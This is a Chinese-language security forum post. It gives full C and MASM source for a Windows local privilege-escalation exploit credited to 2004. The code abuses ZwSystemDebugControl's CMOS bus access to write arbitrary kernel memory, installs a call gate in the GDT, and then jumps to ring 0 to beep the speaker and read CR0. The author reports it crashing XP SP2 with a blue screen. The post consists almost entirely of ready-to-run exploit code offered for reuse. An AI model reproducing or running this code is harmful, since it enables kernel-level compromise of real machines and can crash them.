[原创]利用NtSystemDebugControl进入Ring0的源代码
文章作者:zjjmj信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
Sorry,2004年的东东现在才发,呵呵!希望还有人能用上!
[code]/*
* Discovered and coded by randnut Jan 25, 2004
* I just add my callgate routine, hope you enjoy it, hehe. ------zjjmj2002
*/
#include <windows.h>
#include <stdio.h>
typedef int NTSTATUS;
typedef DWORD ULONG_PTR;
#define NTAPI __stdcall
const IA32_SYSENTER_CS = 0x174;
const IA32_SYSENTER_ESP = 0x175;
const IA32_SYSENTER_EIP = 0x176;
const SelCodeKernel = 0x8;
const CmosIndx = 0x0E; // CMOS Diagnostic Status
const RdWrIoPort = 0x80;
#define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}
#define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;}
typedef enum _DEBUG_CONTROL_CODE {
DebugSysReadIoSpace = 14,
DebugSysWriteIoSpace = 15,
DebugSysReadMsr = 16,
DebugSysWriteMsr = 17,
DebugSysReadBusData = 18,
DebugSysWriteBusData = 19,
} DEBUG_CONTROL_CODE;
typedef enum _BUS_DATA_TYPE {
ConfigurationSpaceUndefined = -1,
Cmos,
EisaConfiguration,
Pos,
CbusConfiguration,
PCIConfiguration,
VMEConfiguration,
NuBusConfiguration,
PCMCIAConfiguration,
MPIConfiguration,
MPSAConfiguration,
PNPISAConfiguration,
SgiInternalConfiguration,
MaximumBusDataType
} BUS_DATA_TYPE, *PBUS_DATA_TYPE;
// See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of
struct MyCallGate
{
WORD OFFSETL;
WORD SELECTOR;
BYTE DCOUNT;
BYTE GTYPE;
WORD OFFSETH;
DWORD CodeLimit;
DWORD CodeBase;
};
typedef struct _BUS_STRUCT {
ULONG Offset;
PVOID Buffer;
ULONG Length;
BUS_DATA_TYPE BusDataType;
ULONG BusNumber;
ULONG SlotNumber;
} BUS_STRUCT;
typedef
NTSTATUS
(NTAPI *PZwSystemDebugControl)(
DEBUG_CONTROL_CODE ControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength,
PULONG ReturnLength
);
PZwSystemDebugControl ZwSystemDebugControl = NULL;
int CmosRead(int offs, BYTE** ppAddr = NULL)
{
BYTE buf;
BUS_STRUCT bus;
bus.BusDataType = Cmos;
bus.BusNumber = 0;
bus.SlotNumber = offs;
bus.Buffer = ppAddr ? *ppAddr : &buf;
bus.Offset = 0;
bus.Length = 1;
if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0,
NULL) < 0)
return -1;
else
return ppAddr ? 0x100 : buf;
}
int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)
{
BUS_STRUCT bus;
bus.BusDataType = Cmos;
bus.BusNumber = 0;
bus.SlotNumber = offs;
bus.Buffer = ppAddr == NULL ? &val : *ppAddr;
bus.Offset = 0;
bus.Length = 1;
return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL,
0, NULL) >= 0;
}
int WriteMem(DWORD MemAddr, BYTE Value)
{
int OldVal = CmosRead(CmosIndx);
BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
CmosWrite(CmosIndx, Value);
CmosRead(CmosIndx, &p);
CmosWrite(CmosIndx, OldVal);
return 1;
}
int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)
{
TOKEN_PRIVILEGES tok;
tok.PrivilegeCount = 1;
tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;
FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));
FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL));
return 1;
}
void CallGate()
{
MyCallGate CallGate;
DWORD GDTBase;
_asm
{
PUSH EDX
SGDT FWORD PTR SS:[ESP-2]
POP EDX
MOV GDTBase,EDX
MOV CallGate.OFFSETL,DX
SHR EDX,16
MOV CallGate.OFFSETH,DX
}
CallGate.SELECTOR = 0x358;
CallGate.DCOUNT = 0;
CallGate.GTYPE = 0xec;
CallGate.CodeLimit = 0xffff;
CallGate.CodeBase = 0xcf9a00; //Build My CallGate
WriteMem(GDTBase, 0xc3);
GDTBase = GDTBase+0x350;
for ( int i=0 ; i<=15 ; i++ )
{
BYTE p;
DWORD *q;
_asm
{
LEA ESI,CallGate
ADD ESI,i
XOR EAX,EAX
LODSB
MOV p,AL
}
WriteMem(GDTBase+i, p);
}
}
int main(int argc, char* argv[])
{
HMODULE hNtdll;
FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL);
FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll,
"ZwSystemDebugControl")) != NULL);
HANDLE hToken;
FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken));
FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1));
CallGate();
return 0;
}[/code] 下面测试CallGate是否生成,生成后喇叭会响一响!
[code].386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
.data
szExceptionCaused db "Exception Caused - could not switch to ring 0",0
szError db 'Error',0
MsgCaption db 'Test',0
MsgBoxText db 'cr0=%8x',0
tmp db 50 dup(90)
Callgt dd 0
dw 353h
.code
ExceptCallBack PROC
invoke MessageBoxA, 0, addr szExceptionCaused,addr szError, 0
invoke ExitProcess, -1
ret
ExceptCallBack ENDP
start:
push offset ExceptCallBack
call SetUnhandledExceptionFilter
call fword ptr [Callgt] ;use callgate to Ring0!
Ring0:
mov eax,esp ;save ring0 esp
mov esp,[esp+4];->ring3 esp
push eax
pushad
mov ax, 1000
mov bx, 200
mov cx, ax
mov al, 0b6h
out 43h, al
mov dx, 0012h
mov ax, 34dch
div cx
out 42h, al
mov al, ah
out 42h, al
in al, 61h
mov ah, al
or al, 03h
out 61h, al
l1:
mov ecx, 4680
l2:
loop l2
dec bx
jnz l1
mov al, ah
out 61h, al
popad
mov eax,cr0
pop esp ;restore ring0 esp
push offset Ring3
retf
Ring3:
invoke wsprintfA,addr tmp,addr MsgBoxText,eax
invoke MessageBox, NULL,addr tmp, addr MsgCaption, MB_OK
Exit:
invoke ExitProcess,NULL
end start[/code] 我在繁体xp+sp2+kav6.0下,蓝屏了....
页:
[1]